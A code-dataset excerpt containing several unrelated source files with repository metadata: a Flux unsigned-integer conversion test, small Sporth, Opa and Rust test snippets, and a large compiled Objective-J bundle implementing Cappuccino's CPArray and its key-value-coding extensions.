,,0,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:00Z,k0,m,1
,,0,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:01Z,k0,m,0
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:10Z,k1,m,0
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:11Z,k1,m,1
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:12Z,k1,m,1
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:13Z,k1,m,110000
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:14Z,k1,m,0
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:15Z,k1,m,2036854775807
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:20Z,k2,m,0
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:21Z,k2,m,1
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:22Z,k2,m,18446744073709551615
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:23Z,k2,m,4294967296
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:24Z,k2,m,9223372036854775808
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:30Z,k3,m,0
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:31Z,k3,m,1
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:32Z,k3,m,4294967296
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:33Z,k3,m,18446744073709551615
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:40Z,k4,m,0
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:41Z,k4,m,18446744073709551615
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:42Z,k4,m,1527018806033000000
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:43Z,k4,m,1527018806033066000
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:44Z,k4,m,1527012000000000000
,,5,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:50Z,k5,m,0
,,5,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:51Z,k5,m,1
,,5,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:52Z,k5,m,18446744073709551615
,,5,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:53Z,k5,m,4294967296
,,5,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:54Z,k5,m,9223372036854775808
"
got =
csv.from(csv: inData)
|> range(start: 2018-05-22T19:52:00Z)
|> toUInt()
want = csv.from(csv: outData)
testing.diff(got: got, want: want)
}
| FLUX | 4 | metrico/flux | stdlib/universe/to_convert_test.flux | [
"MIT"
] |
"oneart.wav" diskin
3.5 allpass dup
| SourcePawn | 0 | aleatoricforest/Sporth | examples/allpass.sp | [
"MIT"
] |
function sample_page() {
<header>
<h3>HTML in Opa</h3>
</header>
<article>
<div class=container>
<p>Learning by examples.</p>
</div>
</article>
}
| Opa | 3 | btashton/pygments | tests/examplefiles/test.opa | [
"BSD-2-Clause"
] |
// rustfmt-max_width: 80
struct Foo {
#[cfg(feature = "serde")]
bytes: [[u8; 17]; 5], // Same size as signature::ED25519_PKCS8_V2_LEN
}
| Rust | 3 | mbc-git/rust | src/tools/rustfmt/tests/target/issue-2342.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
@STATIC;1.0;p;13;CPArray+KVO.jt;12607;@STATIC;1.0;i;9;CPArray.ji;8;CPNull.jt;12562;
objj_executeFile("CPArray.j",YES);
objj_executeFile("CPNull.j",YES);
var _1=objj_getClass("CPObject");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPObject\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("mutableArrayValueForKey:"),function(_3,_4,_5){
with(_3){
return objj_msgSend(objj_msgSend(_CPKVCArray,"alloc"),"initWithKey:forProxyObject:",_5,_3);
}
}),new objj_method(sel_getUid("mutableArrayValueForKeyPath:"),function(_6,_7,_8){
with(_6){
var _9=_8.indexOf(".");
if(_9<0){
return objj_msgSend(_6,"mutableArrayValueForKey:",_8);
}
var _a=_8.substring(0,_9),_b=_8.substring(_9+1);
return objj_msgSend(objj_msgSend(_6,"valueForKeyPath:",_a),"valueForKeyPath:",_b);
}
})]);
var _1=objj_allocateClassPair(CPArray,"_CPKVCArray"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_proxyObject"),new objj_ivar("_key"),new objj_ivar("_insertSEL"),new objj_ivar("_insert"),new objj_ivar("_removeSEL"),new objj_ivar("_remove"),new objj_ivar("_replaceSEL"),new objj_ivar("_replace"),new objj_ivar("_insertManySEL"),new objj_ivar("_insertMany"),new objj_ivar("_removeManySEL"),new objj_ivar("_removeMany"),new objj_ivar("_replaceManySEL"),new objj_ivar("_replaceMany"),new objj_ivar("_objectAtIndexSEL"),new objj_ivar("_objectAtIndex"),new objj_ivar("_countSEL"),new objj_ivar("_count"),new objj_ivar("_accessSEL"),new objj_ivar("_access"),new objj_ivar("_setSEL"),new objj_ivar("_set")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithKey:forProxyObject:"),function(_c,_d,_e,_f){
with(_c){
_c=objj_msgSendSuper({receiver:_c,super_class:objj_getClass("_CPKVCArray").super_class},"init");
_key=_e;
_proxyObject=_f;
var _10=_key.charAt(0).toUpperCase()+_key.substring(1);
_insertSEL=sel_getName("insertObject:in"+_10+"AtIndex:");
if(objj_msgSend(_proxyObject,"respondsToSelector:",_insertSEL)){
_insert=objj_msgSend(_proxyObject,"methodForSelector:",_insertSEL);
}
_removeSEL=sel_getName("removeObjectFrom"+_10+"AtIndex:");
if(objj_msgSend(_proxyObject,"respondsToSelector:",_removeSEL)){
_remove=objj_msgSend(_proxyObject,"methodForSelector:",_removeSEL);
}
_replaceSEL=sel_getName("replaceObjectFrom"+_10+"AtIndex:withObject:");
if(objj_msgSend(_proxyObject,"respondsToSelector:",_replaceSEL)){
_replace=objj_msgSend(_proxyObject,"methodForSelector:",_replaceSEL);
}
_insertManySEL=sel_getName("insertObjects:in"+_10+"AtIndexes:");
if(objj_msgSend(_proxyObject,"respondsToSelector:",_insertManySEL)){
_insert=objj_msgSend(_proxyObject,"methodForSelector:",_insertManySEL);
}
_removeManySEL=sel_getName("removeObjectsFrom"+_10+"AtIndexes:");
if(objj_msgSend(_proxyObject,"respondsToSelector:",_removeManySEL)){
_remove=objj_msgSend(_proxyObject,"methodForSelector:",_removeManySEL);
}
_replaceManySEL=sel_getName("replaceObjectsFrom"+_10+"AtIndexes:withObjects:");
if(objj_msgSend(_proxyObject,"respondsToSelector:",_replaceManySEL)){
_replace=objj_msgSend(_proxyObject,"methodForSelector:",_replaceManySEL);
}
_objectAtIndexSEL=sel_getName("objectIn"+_10+"AtIndex:");
if(objj_msgSend(_proxyObject,"respondsToSelector:",_objectAtIndexSEL)){
_objectAtIndex=objj_msgSend(_proxyObject,"methodForSelector:",_objectAtIndexSEL);
}
_countSEL=sel_getName("countOf"+_10);
if(objj_msgSend(_proxyObject,"respondsToSelector:",_countSEL)){
_count=objj_msgSend(_proxyObject,"methodForSelector:",_countSEL);
}
_accessSEL=sel_getName(_key);
if(objj_msgSend(_proxyObject,"respondsToSelector:",_accessSEL)){
_access=objj_msgSend(_proxyObject,"methodForSelector:",_accessSEL);
}
_setSEL=sel_getName("set"+_10+":");
if(objj_msgSend(_proxyObject,"respondsToSelector:",_setSEL)){
_set=objj_msgSend(_proxyObject,"methodForSelector:",_setSEL);
}
return _c;
}
}),new objj_method(sel_getUid("copy"),function(_11,_12){
with(_11){
var i=0,_13=[],_14=objj_msgSend(_11,"count");
for(;i<_14;i++){
objj_msgSend(_13,"addObject:",objj_msgSend(_11,"objectAtIndex:",i));
}
return _13;
}
}),new objj_method(sel_getUid("_representedObject"),function(_15,_16){
with(_15){
if(_access){
return _access(_proxyObject,_accessSEL);
}
return objj_msgSend(_proxyObject,"valueForKey:",_key);
}
}),new objj_method(sel_getUid("_setRepresentedObject:"),function(_17,_18,_19){
with(_17){
if(_set){
return _set(_proxyObject,_setSEL,_19);
}
objj_msgSend(_proxyObject,"setValue:forKey:",_19,_key);
}
}),new objj_method(sel_getUid("count"),function(_1a,_1b){
with(_1a){
if(_count){
return _count(_proxyObject,_countSEL);
}
return objj_msgSend(objj_msgSend(_1a,"_representedObject"),"count");
}
}),new objj_method(sel_getUid("indexOfObject:inRange:"),function(_1c,_1d,_1e,_1f){
with(_1c){
var _20=_1f.location,_21=_1f.length,_22=!!_1e.isa;
for(;_20<_21;++_20){
var _23=objj_msgSend(_1c,"objectAtIndex:",_20);
if(_1e===_23||_22&&!!_23.isa&&objj_msgSend(_1e,"isEqual:",_23)){
return _20;
}
}
return CPNotFound;
}
}),new objj_method(sel_getUid("indexOfObject:"),function(_24,_25,_26){
with(_24){
return objj_msgSend(_24,"indexOfObject:inRange:",_26,CPMakeRange(0,objj_msgSend(_24,"count")));
}
}),new objj_method(sel_getUid("indexOfObjectIdenticalTo:inRange:"),function(_27,_28,_29,_2a){
with(_27){
var _2b=_2a.location,_2c=_2a.length;
for(;_2b<_2c;++_2b){
if(_29===objj_msgSend(_27,"objectAtIndex:",_2b)){
return _2b;
}
}
return CPNotFound;
}
}),new objj_method(sel_getUid("indexOfObjectIdenticalTo:"),function(_2d,_2e,_2f){
with(_2d){
return objj_msgSend(_2d,"indexOfObjectIdenticalTo:inRange:",_2f,CPMakeRange(0,objj_msgSend(_2d,"count")));
}
}),new objj_method(sel_getUid("objectAtIndex:"),function(_30,_31,_32){
with(_30){
if(_objectAtIndex){
return _objectAtIndex(_proxyObject,_objectAtIndexSEL,_32);
}
return objj_msgSend(objj_msgSend(_30,"_representedObject"),"objectAtIndex:",_32);
}
}),new objj_method(sel_getUid("addObject:"),function(_33,_34,_35){
with(_33){
if(_insert){
return _insert(_proxyObject,_insertSEL,_35,objj_msgSend(_33,"count"));
}
var _36=objj_msgSend(objj_msgSend(_33,"_representedObject"),"copy");
objj_msgSend(_36,"addObject:",_35);
objj_msgSend(_33,"_setRepresentedObject:",_36);
}
}),new objj_method(sel_getUid("addObjectsFromArray:"),function(_37,_38,_39){
with(_37){
var _3a=0,_3b=objj_msgSend(_39,"count");
for(;_3a<_3b;++_3a){
objj_msgSend(_37,"addObject:",objj_msgSend(_39,"objectAtIndex:",_3a));
}
}
}),new objj_method(sel_getUid("insertObject:atIndex:"),function(_3c,_3d,_3e,_3f){
with(_3c){
if(_insert){
return _insert(_proxyObject,_insertSEL,_3e,_3f);
}
var _40=objj_msgSend(objj_msgSend(_3c,"_representedObject"),"copy");
objj_msgSend(_40,"insertObject:atIndex:",_3e,_3f);
objj_msgSend(_3c,"_setRepresentedObject:",_40);
}
}),new objj_method(sel_getUid("removeObject:"),function(_41,_42,_43){
with(_41){
objj_msgSend(_41,"removeObject:inRange:",_43,CPMakeRange(0,objj_msgSend(_41,"count")));
}
}),new objj_method(sel_getUid("removeLastObject"),function(_44,_45){
with(_44){
if(_remove){
return _remove(_proxyObject,_removeSEL,objj_msgSend(_44,"count")-1);
}
var _46=objj_msgSend(objj_msgSend(_44,"_representedObject"),"copy");
objj_msgSend(_46,"removeLastObject");
objj_msgSend(_44,"_setRepresentedObject:",_46);
}
}),new objj_method(sel_getUid("removeObjectAtIndex:"),function(_47,_48,_49){
with(_47){
if(_remove){
return _remove(_proxyObject,_removeSEL,_49);
}
var _4a=objj_msgSend(objj_msgSend(_47,"_representedObject"),"copy");
objj_msgSend(_4a,"removeObjectAtIndex:",_49);
objj_msgSend(_47,"_setRepresentedObject:",_4a);
}
}),new objj_method(sel_getUid("replaceObjectAtIndex:withObject:"),function(_4b,_4c,_4d,_4e){
with(_4b){
if(_replace){
return _replace(_proxyObject,_replaceSEL,_4d,_4e);
}
var _4f=objj_msgSend(objj_msgSend(_4b,"_representedObject"),"copy");
objj_msgSend(_4f,"replaceObjectAtIndex:withObject:",_4d,_4e);
objj_msgSend(_4b,"_setRepresentedObject:",_4f);
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("alloc"),function(_50,_51){
with(_50){
var _52=[];
_52.isa=_50;
var _53=class_copyIvarList(_50),_54=_53.length;
while(_54--){
_52[ivar_getName(_53[_54])]=nil;
}
return _52;
}
})]);
var _1=objj_getClass("CPArray");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPArray\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("valueForKey:"),function(_55,_56,_57){
with(_55){
if(_57.indexOf("@")===0){
if(_57.indexOf(".")!==-1){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"called valueForKey: on an array with a complex key ("+_57+"). use valueForKeyPath:");
}
if(_57=="@count"){
return length;
}
return nil;
}else{
var _58=[],_59=objj_msgSend(_55,"objectEnumerator"),_5a;
while((_5a=objj_msgSend(_59,"nextObject"))!==nil){
var _5b=objj_msgSend(_5a,"valueForKey:",_57);
if(_5b===nil||_5b===undefined){
_5b=objj_msgSend(CPNull,"null");
}
_58.push(_5b);
}
return _58;
}
}
}),new objj_method(sel_getUid("valueForKeyPath:"),function(_5c,_5d,_5e){
with(_5c){
if(_5e.indexOf("@")===0){
var _5f=_5e.indexOf("."),_60,_61;
if(_5f!==-1){
_60=_5e.substring(1,_5f);
_61=_5e.substring(_5f+1);
}else{
_60=_5e.substring(1);
}
if(_62[_60]){
return _62[_60](_5c,_5d,_61);
}
return nil;
}else{
var _63=[],_64=objj_msgSend(_5c,"objectEnumerator"),_65;
while((_65=objj_msgSend(_64,"nextObject"))!==nil){
var _66=objj_msgSend(_65,"valueForKeyPath:",_5e);
if(_66===nil||_66===undefined){
_66=objj_msgSend(CPNull,"null");
}
_63.push(_66);
}
return _63;
}
}
}),new objj_method(sel_getUid("setValue:forKey:"),function(_67,_68,_69,_6a){
with(_67){
var _6b=objj_msgSend(_67,"objectEnumerator"),_6c;
while(_6c=objj_msgSend(_6b,"nextObject")){
objj_msgSend(_6c,"setValue:forKey:",_69,_6a);
}
}
}),new objj_method(sel_getUid("setValue:forKeyPath:"),function(_6d,_6e,_6f,_70){
with(_6d){
var _71=objj_msgSend(_6d,"objectEnumerator"),_72;
while(_72=objj_msgSend(_71,"nextObject")){
objj_msgSend(_72,"setValue:forKeyPath:",_6f,_70);
}
}
})]);
var _62=[];
var _73,_74,_75,_76,_77;
_62["avg"]=_73=function(_78,_79,_7a){
var _7b=objj_msgSend(_78,"valueForKeyPath:",_7a),_7c=objj_msgSend(_7b,"count"),_7d=_7c;
average=0;
if(!_7c){
return 0;
}
while(_7d--){
average+=objj_msgSend(_7b[_7d],"doubleValue");
}
return average/_7c;
};
_62["max"]=_74=function(_7e,_7f,_80){
var _81=objj_msgSend(_7e,"valueForKeyPath:",_80),_82=objj_msgSend(_81,"count")-1,max=objj_msgSend(_81,"lastObject");
while(_82--){
var _83=_81[_82];
if(objj_msgSend(max,"compare:",_83)<0){
max=_83;
}
}
return max;
};
_62["min"]=_75=function(_84,_85,_86){
var _87=objj_msgSend(_84,"valueForKeyPath:",_86),_88=objj_msgSend(_87,"count")-1,min=objj_msgSend(_87,"lastObject");
while(_88--){
var _89=_87[_88];
if(objj_msgSend(min,"compare:",_89)>0){
min=_89;
}
}
return min;
};
_62["count"]=_76=function(_8a,_8b,_8c){
return objj_msgSend(_8a,"count");
};
_62["sum"]=_77=function(_8d,_8e,_8f){
var _90=objj_msgSend(_8d,"valueForKeyPath:",_8f),_91=objj_msgSend(_90,"count"),sum=0;
while(_91--){
sum+=objj_msgSend(_90[_91],"doubleValue");
}
return sum;
};
var _1=objj_getClass("CPArray");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPArray\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("addObserver:toObjectsAtIndexes:forKeyPath:options:context:"),function(_92,_93,_94,_95,_96,_97,_98){
with(_92){
var _99=objj_msgSend(_95,"firstIndex");
while(_99>=0){
objj_msgSend(_92[_99],"addObserver:forKeyPath:options:context:",_94,_96,_97,_98);
_99=objj_msgSend(_95,"indexGreaterThanIndex:",_99);
}
}
}),new objj_method(sel_getUid("removeObserver:fromObjectsAtIndexes:forKeyPath:"),function(_9a,_9b,_9c,_9d,_9e){
with(_9a){
var _9f=objj_msgSend(_9d,"firstIndex");
while(_9f>=0){
objj_msgSend(_9a[_9f],"removeObserver:forKeyPath:",_9c,_9e);
_9f=objj_msgSend(_9d,"indexGreaterThanIndex:",_9f);
}
}
}),new objj_method(sel_getUid("addObserver:forKeyPath:options:context:"),function(_a0,_a1,_a2,_a3,_a4,_a5){
with(_a0){
if(objj_msgSend(isa,"instanceMethodForSelector:",_a1)===objj_msgSend(CPArray,"instanceMethodForSelector:",_a1)){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Unsupported method on CPArray");
}else{
objj_msgSendSuper({receiver:_a0,super_class:objj_getClass("CPArray").super_class},"addObserver:forKeyPath:options:context:",_a2,_a3,_a4,_a5);
}
}
}),new objj_method(sel_getUid("removeObserver:forKeyPath:"),function(_a6,_a7,_a8,_a9){
with(_a6){
if(objj_msgSend(isa,"instanceMethodForSelector:",_a7)===objj_msgSend(CPArray,"instanceMethodForSelector:",_a7)){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Unsupported method on CPArray");
}else{
objj_msgSendSuper({receiver:_a6,super_class:objj_getClass("CPArray").super_class},"removeObserver:forKeyPath:",_a8,_a9);
}
}
})]);
p;9;CPArray.jt;21105;@STATIC;1.0;i;14;CPEnumerator.ji;13;CPException.ji;10;CPObject.ji;9;CPRange.ji;18;CPSortDescriptor.jt;20997;
objj_executeFile("CPEnumerator.j",YES);
objj_executeFile("CPException.j",YES);
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPRange.j",YES);
objj_executeFile("CPSortDescriptor.j",YES);
CPEnumerationNormal=0;
CPEnumerationConcurrent=1<<0;
CPEnumerationReverse=1<<1;
var _1=objj_allocateClassPair(CPEnumerator,"_CPArrayEnumerator"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_array"),new objj_ivar("_index")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithArray:"),function(_3,_4,_5){
with(_3){
_3=objj_msgSendSuper({receiver:_3,super_class:objj_getClass("_CPArrayEnumerator").super_class},"init");
if(_3){
_array=_5;
_index=-1;
}
return _3;
}
}),new objj_method(sel_getUid("nextObject"),function(_6,_7){
with(_6){
if(++_index>=objj_msgSend(_array,"count")){
return nil;
}
return objj_msgSend(_array,"objectAtIndex:",_index);
}
})]);
var _1=objj_allocateClassPair(CPEnumerator,"_CPReverseArrayEnumerator"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_array"),new objj_ivar("_index")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithArray:"),function(_8,_9,_a){
with(_8){
_8=objj_msgSendSuper({receiver:_8,super_class:objj_getClass("_CPReverseArrayEnumerator").super_class},"init");
if(_8){
_array=_a;
_index=objj_msgSend(_array,"count");
}
return _8;
}
}),new objj_method(sel_getUid("nextObject"),function(_b,_c){
with(_b){
if(--_index<0){
return nil;
}
return objj_msgSend(_array,"objectAtIndex:",_index);
}
})]);
var _1=objj_allocateClassPair(CPObject,"CPArray"),_2=_1.isa;
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("init"),function(_d,_e){
with(_d){
return _d;
}
}),new objj_method(sel_getUid("initWithArray:"),function(_f,_10,_11){
with(_f){
_f=objj_msgSendSuper({receiver:_f,super_class:objj_getClass("CPArray").super_class},"init");
if(_f){
objj_msgSend(_f,"setArray:",_11);
}
return _f;
}
}),new objj_method(sel_getUid("initWithArray:copyItems:"),function(_12,_13,_14,_15){
with(_12){
if(!_15){
return objj_msgSend(_12,"initWithArray:",_14);
}
_12=objj_msgSendSuper({receiver:_12,super_class:objj_getClass("CPArray").super_class},"init");
if(_12){
var _16=0,_17=objj_msgSend(_14,"count");
for(;_16<_17;++_16){
if(_14[_16].isa){
_12[_16]=objj_msgSend(_14[_16],"copy");
}else{
_12[_16]=_14[_16];
}
}
}
return _12;
}
}),new objj_method(sel_getUid("initWithObjects:"),function(_18,_19,_1a){
with(_18){
var i=2,_1b=arguments.length;
for(;i<_1b;++i){
push(arguments[i]);
}
return _18;
}
}),new objj_method(sel_getUid("initWithObjects:count:"),function(_1c,_1d,_1e,_1f){
with(_1c){
_1c=objj_msgSendSuper({receiver:_1c,super_class:objj_getClass("CPArray").super_class},"init");
if(_1c){
var _20=0;
for(;_20<_1f;++_20){
push(_1e[_20]);
}
}
return _1c;
}
}),new objj_method(sel_getUid("containsObject:"),function(_21,_22,_23){
with(_21){
return objj_msgSend(_21,"indexOfObject:",_23)!=CPNotFound;
}
}),new objj_method(sel_getUid("count"),function(_24,_25){
with(_24){
return length;
}
}),new objj_method(sel_getUid("indexOfObject:"),function(_26,_27,_28){
with(_26){
var i=0,_29=length;
if(_28&&_28.isa){
for(;i<_29;++i){
if(objj_msgSend(_26[i],"isEqual:",_28)){
return i;
}
}
}else{
if(_26.indexOf){
return indexOf(_28);
}else{
for(;i<_29;++i){
if(_26[i]===_28){
return i;
}
}
}
}
return CPNotFound;
}
}),new objj_method(sel_getUid("indexOfObject:inRange:"),function(_2a,_2b,_2c,_2d){
with(_2a){
var i=_2d.location,_2e=MIN(CPMaxRange(_2d),length);
if(_2c&&_2c.isa){
for(;i<_2e;++i){
if(objj_msgSend(_2a[i],"isEqual:",_2c)){
return i;
}
}
}else{
for(;i<_2e;++i){
if(_2a[i]===_2c){
return i;
}
}
}
return CPNotFound;
}
}),new objj_method(sel_getUid("indexOfObjectIdenticalTo:"),function(_2f,_30,_31){
with(_2f){
if(_2f.indexOf){
return indexOf(_31);
}else{
var _32=0,_33=length;
for(;_32<_33;++_32){
if(_2f[_32]===_31){
return _32;
}
}
}
return CPNotFound;
}
}),new objj_method(sel_getUid("indexOfObjectIdenticalTo:inRange:"),function(_34,_35,_36,_37){
with(_34){
if(_34.indexOf){
var _38=indexOf(_36,_37.location);
if(CPLocationInRange(_38,_37)){
return _38;
}
}else{
var _38=_37.location,_39=MIN(CPMaxRange(_37),length);
for(;_38<_39;++_38){
if(_34[_38]==_36){
return _38;
}
}
}
return CPNotFound;
}
}),new objj_method(sel_getUid("indexOfObjectPassingTest:"),function(_3a,_3b,_3c){
with(_3a){
return objj_msgSend(_3a,"indexOfObjectWithOptions:passingTest:context:",CPEnumerationNormal,_3c,undefined);
}
}),new objj_method(sel_getUid("indexOfObjectPassingTest:context:"),function(_3d,_3e,_3f,_40){
with(_3d){
return objj_msgSend(_3d,"indexOfObjectWithOptions:passingTest:context:",CPEnumerationNormal,_3f,_40);
}
}),new objj_method(sel_getUid("indexOfObjectWithOptions:passingTest:"),function(_41,_42,_43,_44){
with(_41){
return objj_msgSend(_41,"indexOfObjectWithOptions:passingTest:context:",_43,_44,undefined);
}
}),new objj_method(sel_getUid("indexOfObjectWithOptions:passingTest:context:"),function(_45,_46,_47,_48,_49){
with(_45){
var _4a,_4b,_4c;
if(_47&CPEnumerationReverse){
_4a=objj_msgSend(_45,"count")-1;
_4b=-1;
_4c=-1;
}else{
_4a=0;
_4b=objj_msgSend(_45,"count");
_4c=1;
}
for(var i=_4a;i!=_4b;i+=_4c){
var _4d=_48(objj_msgSend(_45,"objectAtIndex:",i),i,_49);
if(typeof _4d==="boolean"&&_4d){
return i;
}else{
if(typeof _4d==="object"&&_4d==nil){
return CPNotFound;
}
}
}
return CPNotFound;
}
}),new objj_method(sel_getUid("indexOfObject:sortedBySelector:"),function(_4e,_4f,_50,_51){
with(_4e){
return objj_msgSend(_4e,"indexOfObject:sortedByFunction:",_50,function(lhs,rhs){
objj_msgSend(lhs,_51,rhs);
});
}
}),new objj_method(sel_getUid("indexOfObject:sortedByFunction:"),function(_52,_53,_54,_55){
with(_52){
return objj_msgSend(_52,"indexOfObject:sortedByFunction:context:",_54,_55,nil);
}
}),new objj_method(sel_getUid("indexOfObject:sortedByFunction:context:"),function(_56,_57,_58,_59,_5a){
with(_56){
var _5b=objj_msgSend(_56,"_indexOfObject:sortedByFunction:context:",_58,_59,_5a);
return _5b>=0?_5b:CPNotFound;
}
}),new objj_method(sel_getUid("_indexOfObject:sortedByFunction:context:"),function(_5c,_5d,_5e,_5f,_60){
with(_5c){
if(!_5f){
return CPNotFound;
}
if(length===0){
return -1;
}
var mid,c,_61=0,_62=length-1;
while(_61<=_62){
mid=FLOOR((_61+_62)/2);
c=_5f(_5e,_5c[mid],_60);
if(c>0){
_61=mid+1;
}else{
if(c<0){
_62=mid-1;
}else{
while(mid<length-1&&_5f(_5e,_5c[mid+1],_60)==CPOrderedSame){
mid++;
}
return mid;
}
}
}
return -_61-1;
}
}),new objj_method(sel_getUid("indexOfObject:sortedByDescriptors:"),function(_63,_64,_65,_66){
with(_63){
var _67=objj_msgSend(_66,"count");
return objj_msgSend(_63,"indexOfObject:sortedByFunction:",_65,function(lhs,rhs){
var i=0,_68=CPOrderedSame;
while(i<_67){
if((_68=objj_msgSend(_66[i++],"compareObject:withObject:",lhs,rhs))!=CPOrderedSame){
return _68;
}
}
return _68;
});
}
}),new objj_method(sel_getUid("insertObject:inArraySortedByDescriptors:"),function(_69,_6a,_6b,_6c){
with(_69){
if(!_6c||!objj_msgSend(_6c,"count")){
objj_msgSend(_69,"addObject:",_6b);
return objj_msgSend(_69,"count")-1;
}
var _6d=objj_msgSend(_69,"_insertObject:sortedByFunction:context:",_6b,function(lhs,rhs){
var i=0,_6e=objj_msgSend(_6c,"count"),_6f=CPOrderedSame;
while(i<_6e){
if((_6f=objj_msgSend(_6c[i++],"compareObject:withObject:",lhs,rhs))!=CPOrderedSame){
return _6f;
}
}
return _6f;
},nil);
if(_6d<0){
_6d=-result-1;
}
objj_msgSend(_69,"insertObject:atIndex:",_6b,_6d);
return _6d;
}
}),new objj_method(sel_getUid("lastObject"),function(_70,_71){
with(_70){
var _72=objj_msgSend(_70,"count");
if(!_72){
return nil;
}
return _70[_72-1];
}
}),new objj_method(sel_getUid("objectAtIndex:"),function(_73,_74,_75){
with(_73){
if(_75>=length||_75<0){
objj_msgSend(CPException,"raise:reason:",CPRangeException,"index ("+_75+") beyond bounds ("+length+")");
}
return _73[_75];
}
}),new objj_method(sel_getUid("objectsAtIndexes:"),function(_76,_77,_78){
with(_76){
var _79=CPNotFound,_7a=[];
while((_79=objj_msgSend(_78,"indexGreaterThanIndex:",_79))!==CPNotFound){
objj_msgSend(_7a,"addObject:",objj_msgSend(_76,"objectAtIndex:",_79));
}
return _7a;
}
}),new objj_method(sel_getUid("objectEnumerator"),function(_7b,_7c){
with(_7b){
return objj_msgSend(objj_msgSend(_CPArrayEnumerator,"alloc"),"initWithArray:",_7b);
}
}),new objj_method(sel_getUid("reverseObjectEnumerator"),function(_7d,_7e){
with(_7d){
return objj_msgSend(objj_msgSend(_CPReverseArrayEnumerator,"alloc"),"initWithArray:",_7d);
}
}),new objj_method(sel_getUid("makeObjectsPerformSelector:"),function(_7f,_80,_81){
with(_7f){
if(!_81){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"makeObjectsPerformSelector: 'aSelector' can't be nil");
}
var _82=0,_83=length;
for(;_82<_83;++_82){
objj_msgSend(_7f[_82],_81);
}
}
}),new objj_method(sel_getUid("makeObjectsPerformSelector:withObject:"),function(_84,_85,_86,_87){
with(_84){
if(!_86){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"makeObjectsPerformSelector:withObject 'aSelector' can't be nil");
}
var _88=0,_89=length;
for(;_88<_89;++_88){
objj_msgSend(_84[_88],_86,_87);
}
}
}),new objj_method(sel_getUid("makeObjectsPerformSelector:withObjects:"),function(_8a,_8b,_8c,_8d){
with(_8a){
if(!_8c){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"makeObjectsPerformSelector:withObjects: 'aSelector' can't be nil");
}
var _8e=0,_8f=length,_90=[nil,_8c].concat(_8d||[]);
for(;_8e<_8f;++_8e){
_90[0]=_8a[_8e];
objj_msgSend.apply(this,_90);
}
}
}),new objj_method(sel_getUid("firstObjectCommonWithArray:"),function(_91,_92,_93){
with(_91){
if(!objj_msgSend(_93,"count")||!objj_msgSend(_91,"count")){
return nil;
}
var i=0,_94=objj_msgSend(_91,"count");
for(;i<_94;++i){
if(objj_msgSend(_93,"containsObject:",_91[i])){
return _91[i];
}
}
return nil;
}
}),new objj_method(sel_getUid("isEqualToArray:"),function(_95,_96,_97){
with(_95){
if(_95===_97){
return YES;
}
if(_97===nil||length!==_97.length){
return NO;
}
var _98=0,_99=objj_msgSend(_95,"count");
for(;_98<_99;++_98){
var lhs=_95[_98],rhs=_97[_98];
if(lhs!==rhs&&(lhs&&!lhs.isa||rhs&&!rhs.isa||!objj_msgSend(lhs,"isEqual:",rhs))){
return NO;
}
}
return YES;
}
